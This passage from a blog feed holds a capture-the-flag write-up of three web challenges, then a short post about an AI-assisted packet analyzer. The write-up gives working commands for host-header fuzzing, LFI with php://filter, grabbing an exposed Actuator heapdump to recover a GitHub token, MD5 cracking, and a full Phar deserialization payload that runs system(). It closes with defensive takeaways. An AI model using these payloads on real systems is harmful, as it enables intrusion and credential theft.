(/admin/, /api/, /login/, /flag/, robots.txt, .well-known/) all returned the same 503. On the surface, there was nothing here — but nginx serves multiple <strong>virtual hosts</strong> on this port, and the default block is rarely the only one.Virtual Host Discovery</p><p>Since nginx routes requests by the Host header, sending a different Host value can surface hidden applications on the same port. A few manual probes returned 301 redirects instead of the usual 503 — meaning nginx was matching a non-default server block, though not one serving content yet.</p><p>To find the real one, I ran <strong>ffuf</strong> against the Host header with a subdomain wordlist:</p><pre>ffuf -u http://discover.lab:9090/ \<br>     -H &quot;Host: FUZZ.discover.lab&quot; \<br>     -w wordlist.txt \<br>     -fs 0 \<br>     -fc 301,400,503</pre><p>Out of ~20,000 entries, one result stood out:</p><pre>cms    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 39ms]</pre><p>cms.discover.lab returned a genuine <strong>302 redirect</strong> — a real application, not the maintenance catch-all.</p><h3>The CMS Login Page</h3><pre>curl -s -i -H &quot;Host: cms.discover.lab&quot; http://discover.lab:9090/</pre><pre>HTTP/1.1 302 Found<br>Server: nginx<br>X-Powered-By: PHP/7.3.33<br>Location: /index.php?page=views/login.php</pre><p>Two red flags immediately: <strong>PHP 7.3.33</strong> (end-of-life), and a ?page= parameter driving dynamic file inclusion — a classic LFI candidate.</p><h3>Confirming the LFI</h3><pre>curl -s -H &quot;Host: cms.discover.lab&quot; \<br>  &quot;http://discover.lab:9090/index.php?page=views/..[.]/..[.]/..[.]/..[.]/etc/passwd&quot;</pre><pre>root:x:0:0:root:/root:/bin/bash<br>...<br>nullbyt0:x:1000:1000::/home/nullbyt0:/bin/bash</pre><p><strong>LFI confirmed</strong> — no path sanitization, straight into include(). Note the user nullbyt0, whose home directory becomes important later.</p><h3>Reading Source Code via Stream Wrappers</h3><p>Including dashboard.php directly would execute it server-side rather than reveal its logic — and it also requires an active session. Instead, PHP&#39;s php://filter wrapper with convert.base64-encode reads the raw file <em>before</em> execution:</p><pre>curl -s -H &quot;Host: cms.discover.lab&quot; \<br>  &quot;http://discover.lab:9090/index.php?page=php://filter/read=convert.base64-[encode]/resource=views/dashboard.php&quot;</pre><p>The response embeds a base64 blob in place of the rendered page. Decoding it:</p><pre>echo &quot;PD9waHAKaW5pX3NldCgnb3Blbl9iYXNlZGlyJywgJy92YXIvd3d3L2h0bWwvOi90bXAnKTsKc2Vzc2lvbl9zdGFydCgpOwoKJHBhZ2UgPSAkX0dFVFsncGFnZSddID8........&quot; | base64 -d</pre><p>reveals the raw PHP source of dashboard.php,</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/cfa0b42b2b7ce42aba20f1c0e4091408/href">https://medium.com/media/cfa0b42b2b7ce42aba20f1c0e4091408/href</a></iframe><p>hardcoded in the template underneath it, was the flag:</p><pre>CSEK_CTF_2026{flag_d0t_d0t_sl4sh_2_v1ct0ry}</pre><p>Because the filter wrapper reads the file before PHP executes it, the session guard never actually ran.</p><p><strong>Flag (Internal Affairs — 1):</strong> CSEK_CTF_2026{flag_d0t_d0t_sl4sh_2_v1ct0ry}</p><h3>Challenge 2: Echoes of Runtime — From Memory Leak to Private Repo</h3><p><strong>Category:</strong> Web / OSINT · <strong>Points:</strong> 100</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*R_iA5wsy-ybpVkdB49hvqQ.png" /></figure><p>Visiting the target directly in browser returns a “Internal Operations Platform” with some links but nothing useful in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L8-9MgOMmYEbuH8JzTeYrQ.png" /></figure><p>Viewing the source using (Ctrl+U) gives,</p><pre>&lt;nav&gt;<br>    &lt;a href=&quot;/&quot;&gt;Home&lt;/a&gt;<br>    &lt;a href=&quot;/about&quot;&gt;About&lt;/a&gt;<br>    &lt;a href=&quot;/actuator/health&quot;&gt;Health&lt;/a&gt;<br>    &lt;a href=&quot;/actuator/info&quot;&gt;Info&lt;/a&gt;<br>&lt;/nav&gt;</pre><p>the /actuator/ endpoint reveals that this is a JAVA web app with Spring Boot–based “Internal Operations Platform” dashboard — the real target for this flag.</p><p>Any Java web app in a CTF warrants an Actuator check — these management endpoints can leak enormous amounts of internal state when left exposed:</p><pre>curl -s http://discover.lab:8080/actuator/ | python3 -m json.tool</pre><p>The listing confirmed several endpoints, including the critical one:</p><pre>curl -s -o heapdump http://discover.lab:8080/actuator/heapdump</pre><p>The server handed over a full <strong>7.9 MB Java HPROF heap dump</strong> — a complete snapshot of live JVM memory.</p><h3>Heap Dump Analysis</h3><p>A quick string sweep surfaces the interesting class names first:</p><pre>strings heapdump | grep -i &quot;github\|token\|secret\|password\|flag&quot; | sort -u | head -30</pre><p>This turned up several classes under com.internalops.heapgen.model, including decoys (ExpiredGithubToken, FakeAwsClientConfig, FakeGoogleApiKeyHolder) alongside the real target: ObfuscatedTokenLoader.</p><p>Parsing the HPROF instance dumps for that class (via a small custom Python script) extracted:</p><p>FieldValue <strong>XOR-KEY</strong> — 0x5a and a Hex-encoded Byte array-</p><pre>3d332e322f38052a3b2e056b6b191318120d6d1b6a02202f6a16026f10361d2e13052e151b301615231c6e111b113c223913620363021c31393e6c0b1714321417346a2f096c12362229206f080c1d130e081b6f023e03206a6c02372fs</pre><p>Digging Deeper into the objects,</p><pre>com.internalops.heapgen.model.GitHubRepository&quot;<br>godfather-commits!<br>internal-ops-platform!</pre><p>I Got Supporting context for a target repo: godfather-commits/internal-ops-platform on GitHub, accessed via a fine-grained PAT.</p><h3>XOR Decryption</h3><pre>encoded_hex = &quot;3d332e322f38052a3b2e056b6b191318120d6d1b6a02202f6a16026f10361d2e13052e151b301615231c6e111b113c223913620363021c31393e6c0b1714321417346a2f096c12362229206f080c1d130e081b6f023e03206a6c02372f&quot;</pre><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1af3633c31747e983d7ca011c522318e/href">https://medium.com/media/1af3633c31747e983d7ca011c522318e/href</a></iframe><p>This Gives a actual PAT Token that can be used to clone the Private Repository.</p><pre>github_pat_11CIBHW7A0Xzu0LX5JlGtI_tOAjLOyF4KAKfxcI8Y9X.....[Redacted]</pre><p>Git allows embedding credentials directly in an HTTPS clone URL as https://&lt;token&gt;@host/.... Substituting the decoded PAT from the XOR step in place of &lt;PAT&gt;:</p><pre>git clone https://github_pat_11CIBHW7A0Xzu0LX5JlGtI_tOAjLOyF4KAKfxcI8Y9X[Redacted...]@github.com/godfather-commits/internal-ops-platform.git</pre><p>Inside, .gitmodules pointed to a second, GitLab-hosted repository:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TlR_pVLMDrl_69AezvUA9w.png" /></figure><p>Visiting the GitLab URL Gives the actual Repo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D-rxEptVwX_CbL6E3Xwf5g.png" /></figure><p>Inside .env was the flag:FLAG=CSEK_CTF_2026{flag_h34pdump_l34k_p4t}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j56QQKOkYEyejLOI3rmyhQ.png" /></figure><p><strong>Flag (Echoes of Runtime):</strong> CSEK_CTF_2026{flag_h34pdump_l34k_p4t}</p><h3>Challenge 3: Internal Affairs — 2 — From File Read to Remote Code Execution</h3><p><strong>Category:</strong> Web Exploitation · <strong>Points:</strong> 200</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*e6uEH6y5QlNo2YIClzkCqA.png" /></figure><p>This returned to the CMS from <strong>Internal Affairs — 1</strong> with no new hints — just a nudge that there was more to find on the same infrastructure. This challenge chains <strong>four</strong> distinct weaknesses — LFI, credential leakage, insecure deserialization, and a misconfigured open_basedir restriction — into full RCE.</p><h3>Step 1 — Extracting the Login Database via LFI</h3><p>Reading through the CMS’s PHP files (via the same php://filter trick) surfaced a reference to a SQLite user database one level above the views/ directory:</p><pre>curl -s -H &quot;Host: cms.discover.lab&quot; \<br>  &quot;http://discover.lab:9090/index.php?page=php://filter/read=convert.base64-encode/resource=views/../data/discover_login.sqlite&quot;</pre><h3>Step 2 — Cracking the Password Hash</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/327887cf729c5e56dac6dc3bc2d3076a/href">https://medium.com/media/327887cf729c5e56dac6dc3bc2d3076a/href</a></iframe><pre>1|nullbyt0|20eef2f52208fab523332d12b6429cf4</pre><p>An unsalted MD5 hash cracks in seconds against a standard wordlist:</p><pre>echo &quot;20eef2f52208fab523332d12b6429cf4&quot; &gt; hash.txt<br>john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</pre><pre>discovera1b2b3y4     (?)</pre><p>Valid credentials: <strong>nullbyt0 / </strong><strong>discovera1b2b3y4</strong>.</p><p>We could now login but it shows the flag from prev part:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kx55TSOLUk6v_MtlI4fpEw.png" /></figure><h3>Step 3 — Auditing the CMS Source for a Gadget Chain</h3><p>Systematically reading every PHP file through the LFI reconstructed the app’s classes/ directory found from Challenge 1, where two classes form a clean deserialization gadget:</p><pre>// classes/HtmlContent.php<br>class HtmlContent {<br>    public $html;<br>    public $renderer;<br>    public function __destruct() {<br>        if ($this-&gt;renderer instanceof SafeRenderer) {<br>            echo $this-&gt;renderer-&gt;render($this-&gt;html);<br>        }<br>    }<br>}</pre><pre>// classes/SafeRenderer.php<br>class SafeRenderer {<br>    public $callback;<br>    public $data;<br>    public function render($html) {<br>        if ($this-&gt;callback &amp;&amp; is_callable($this-&gt;callback)) {<br>            return call_user_func($this-&gt;callback, $this-&gt;data . $html);<br>        }<br>    }<br>}</pre><p>The chain: HtmlContent::__destruct() fires on object destruction → calls SafeRenderer::render() → if $callback is &quot;system&quot; and $data an OS command, that command runs via call_user_func. Two classes, one destructor, no reflection tricks needed</p><h3>Step 4 — Finding the Deserialization Trigger</h3><p>views/preview.php calls file_exists(), filesize(), and getimagesize() on a user-controlled session path — all of which accept <strong>stream wrappers</strong>.</p><p>But the absence of unserialize() was something i had read about before in TryHackMe Labs, the PHP functions automatically deserializes the data inside it.</p><p>PHP’s phar:// wrapper deserializes a Phar archive&#39;s metadata the moment any filesystem function touches it, This is the classic <strong>Phar deserialization</strong> primitive.</p><p>Plan: build a Phar whose metadata contains the malicious gadget chain, upload it disguised as an image, then point the session’s draft path at it via phar://.</p><h3>Step 5 — Building the Phar Payload</h3><pre>&lt;?php<br>class SafeRenderer {<br>    public $callback = &quot;sys&quot; . &quot;tem&quot;; <br>    public $data = &quot;cat /path/to/flag[.]txt &gt; /tmp/out.txt #&quot;; <br>}<br>}class HtmlContent {<br>    public $html = &quot;&quot;;<br>    public $renderer;<br>}$phar = new Phar(&quot;payload.phar&quot;);<br>$phar-&gt;startBuffering();<br>$phar-&gt;setStub(&quot;&lt;?php __HALT_COMPILER(); ?&gt;&quot;);$payload = new HtmlContent();<br>$payload-&gt;renderer = new SafeRenderer();$phar-&gt;setMetadata($payload);<br>$phar-&gt;addFromString(&quot;test.txt&quot;, &quot;test&quot;);<br>$phar-&gt;stopBuffering();rename(&quot;payload.phar&quot;, &quot;payload.jpg&quot;);<br>echo &quot;Payload generated!\n&quot;;<br>?&gt;</pre><p>Two details make this work in practice rather than just on paper:</p><ul><li>The trailing # comments out whatever $html content gets appended, preventing shell syntax errors.</li><li>Renaming to .jpg is enough to pass the CMS&#39;s extension check — PHP identifies Phar archives by internal structure, not filename.</li></ul><p>bash</p><pre>php -d phar.readonly=0 generate.php<br># Payload generated!</pre><h3>Step 6 — Uploading the Payload</h3><p>Logging in with the cracked credentials and uploading payload.jpg as a normal image returns:</p><pre>{&quot;success&quot;: true, &quot;path&quot;: &quot;/var/www/uploads/36ea7e0010ffbdfb5b1a7fce72014f0a.jpg&quot;}</pre><h3>Step 7 — Setting the Draft Path</h3><p>In the editor’s “Uploaded File Path” field:</p><pre>phar:///var/www/uploads/36ea7e0010ffbdfb5b1a7fce72014f0a.jpg/test.txt</pre><p>This is saved into $_SESSION[&#39;draft_file&#39;].</p><h3>Step 8 — Bypassing open_basedir to Trigger the Exploit</h3><p>Routing through index.php?page=views/preview.php fails silently — index.php sets a restrictive open_basedir that blocks /var/www/uploads/. But views/preview.php accessed <strong>directly</strong> never inherits that restriction:</p><pre>curl -s -H &quot;Host: cms.discover.lab&quot; \<br>  --cookie &quot;PHPSESSID=&lt;session_cookie&gt;&quot; \<br>  &quot;http://discover.lab:9090/views/preview.php&quot;</pre><p>This triggers, in sequence: file_exists() on the phar:// path → PHP deserializes the archive metadata → the HtmlContent object is instantiated → on script end, __destruct() fires → SafeRenderer::render() calls system() with the flag-exfiltration command.</p><h3>Step 9 — Reading the Flag</h3><p>The command wrote its output to /tmp/output.txt, read back through the original LFI:</p><p>bash</p><pre>curl -s -H &quot;Host: cms.discover.lab&quot; \<br>  &quot;http://discover.lab:9090/index.php?page=php://filter/read=convert.base64-encode/resource=views/../../../../tmp/output.txt&quot;</pre><p>Converting the base64:<br>CSEK_CTF_2026{flag_ph4r_m3t4d4t4_und3s3r14l1z3d}</p><p><strong>Flag (Internal Affairs — 2):</strong> CSEK_CTF_2026{flag_ph4r_m3t4d4t4_und3s3r14l1z3d}</p><h3>The Full Kill Chain</h3><pre>LFI (file read)<br>  └─→ Extract SQLite database<br>       └─→ Crack MD5 password hash<br>            └─→ CMS login<br>                 └─→ LFI (source code read)<br>                      └─→ Identify gadget chain (HtmlContent + SafeRenderer)<br>                           └─→ Build Phar payload<br>                                └─→ Upload as .jpg<br>                                     └─→ Set phar:// draft path<br>                                          └─→ Direct access to preview.php (bypass open_basedir)<br>                                               └─→ Phar deserialization → RCE<br>                                                    └─→ Read flag via LFI</pre><p>Five distinct weaknesses, each one necessary — no single flaw would have been enough on its own.</p><h3>Key Takeaways</h3><ol><li><strong>A single LFI primitive is a Swiss army knife.</strong> Combined with PHP stream wrappers, the same vulnerability read system files, extracted a binary database, dumped source code, and exfiltrated RCE output.</li><li><strong>Spring Boot Actuator endpoints must never be exposed to untrusted networks.</strong> /actuator/heapdump alone leaked credentials and tokens sitting in JVM memory.</li><li><strong>Unsalted MD5 is barely better than plaintext.</strong> It cracked in seconds against a standard wordlist.</li><li><strong>Git history never forgets.</strong> A secret removed from the latest commit still lives in the repository’s history — any credential that ever touched a commit must be rotated.</li><li><strong>Phar deserialization is one of PHP’s most dangerous features.</strong> Any filesystem function that accepts a path can trigger it via phar://. Fix: whitelist paths, strip stream wrappers from user input, or move to PHP 8.0+, where Phar metadata deserialization is disabled by default.</li><li><strong>open_basedir is defence-in-depth, not a security boundary.</strong> It only protected the routed path through index.php — accessing preview.php directly sidestepped it entirely.</li><li><strong>Decoys are designed to cost you time, not stop you.</strong> Staying focused on how the real data model connected (ObfuscatedTokenLoader → GitHubCredential → GitHubRepository) kept the heap dump analysis on track.</li></ol><p><em>Total: 3 flags, 400 points, one piece of infrastructure explored from three different angles.<br></em><strong>Disclaimer:</strong> This write-up was drafted and formatted with the help of an AI assistant , based on my own notes, commands, and findings from solving these challenges. All exploitation steps, credentials, and flags reflect my actual work; AI was used for editing, restructuring, and polishing the write-up into publishable form.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=076e44f3ab6c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Built an AI-Powered Packet Analyzer — and Why It Wasn’t Easy]]></title>
            <link>https://medium.com/@bhatsupshubham/how-i-built-an-ai-powered-packet-analyzer-and-why-it-wasnt-easy-1d2140dc2739?source=rss-47ee09426d45------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d2140dc2739</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[projects]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Shubham Bhat]]></dc:creator>
            <pubDate>Sun, 29 Jun 2025 07:56:36 GMT</pubDate>
            <atom:updated>2026-11-27T06:10:25.037Z</atom:updated>
            <content:encoded><![CDATA[<h3>How I Built an AI-Powered Packet Analyzer — and Why It Wasn’t Easy</h3><p>The Problem: Drowning in Packet Dumps</p><p>Every time I faced a security incident at work, I dreaded the inevitable: hours spent staring at Wireshark, sifting through endless streams of TCP flags and port numbers. I wasn’t alone — junior analysts would struggle to interpret the data, and even seasoned engineers would occasionally miss subtle anomalies. The real pain point was translating technical details into something actionable and explainable for non-technical stakeholders. The pain points: Time: a single investigation could eat up half a day. Complexity: captures are dense; even small files contain thousands of packets. Communication: summarising findings for non-experts was always a challenge. Error-prone: manual analysis meant missing things, especially under pressure.</p><p>The Solution: Deterministic Detection, AI Explanation I built NetNerve, a web-based tool that lets you upload a .pcap or .cap file and get a human-readable report. Behind the scenes, a FastAPI backend parses the file primarily with tshark (Scapy is the fallback and handles forensics sampling), extracts protocol metadata and flows, then sends sanitised packet-derived data to Gemini gemini-3.1-flash-lite, with a rotating Groq pool running openai/gpt-oss-120b as fallback. The important change since the 2025 prototype: detection no longer comes from the LLM. Suricata 7.0 with the Emerging Threats Open ruleset, deterministic heuristics, an anomaly engine and protocol validation produce the findings. MITRE ATT&amp;CK correlation groups them, and the AI writes the report from that evidence. Every claim carries a frame number, a signature ID or a display filter you can reproduce in Wireshark.</p><p>The Journey It wasn’t smooth sailing. Early versions struggled with malformed packets and slow response times. I tried ChatGPT’s API, but latency was a dealbreaker; moving to fast inference helped. The “45 seconds to under 10” number in the original version described that early build — I don’t publish a current latency benchmark. Privacy also mattered. Capture files are never stored in a database; temporary files used by tshark and Suricata are deleted after analysis. Packet-derived metadata does go to Gemini and Groq for the report, and external IPs may be checked against VirusTotal and ip-api.com. Payload and raw-byte fields are stripped before prompts. For internal traffic, the in-browser sanitizer anonymises IPs and MACs and strips payloads before upload.</p><p>Where I’m Headed NetNerve now supports .pcap and .cap on every tier, .pcapng on Pro and above, with limits of 2 MB / 500 packets on Free, 20 MB / 5,000 on Pro and 50 MB / 15,000 on Forensics. It extracts WiFi, WPA, TLS, DNS and Telnet artefacts, publishes frame-by-frame teardowns of real malware captures, and ships in-browser tools for PCAP-to-CSV, IP extraction and sanitisation. Self-hosting remains a “maybe”. Most importantly, I want to keep making network security more accessible — and verifiable — so anyone can understand what happened on their network and show the evidence.</p><p>Try It Out NetNerve: <a href="https://netnerve.online/">https://netnerve.online</a> The original 2025 proof-of-concept repository is at <a href="https://github.com/bhat-shubham/Traffic-Analyzer-NetNerve-">https://github.com/bhat-shubham/Traffic-Analyzer-NetNerve-</a> (labelled as the V0 demo, not the current codebase). If you have feedback or feature ideas, I’d love to hear them.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d2140dc2739" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>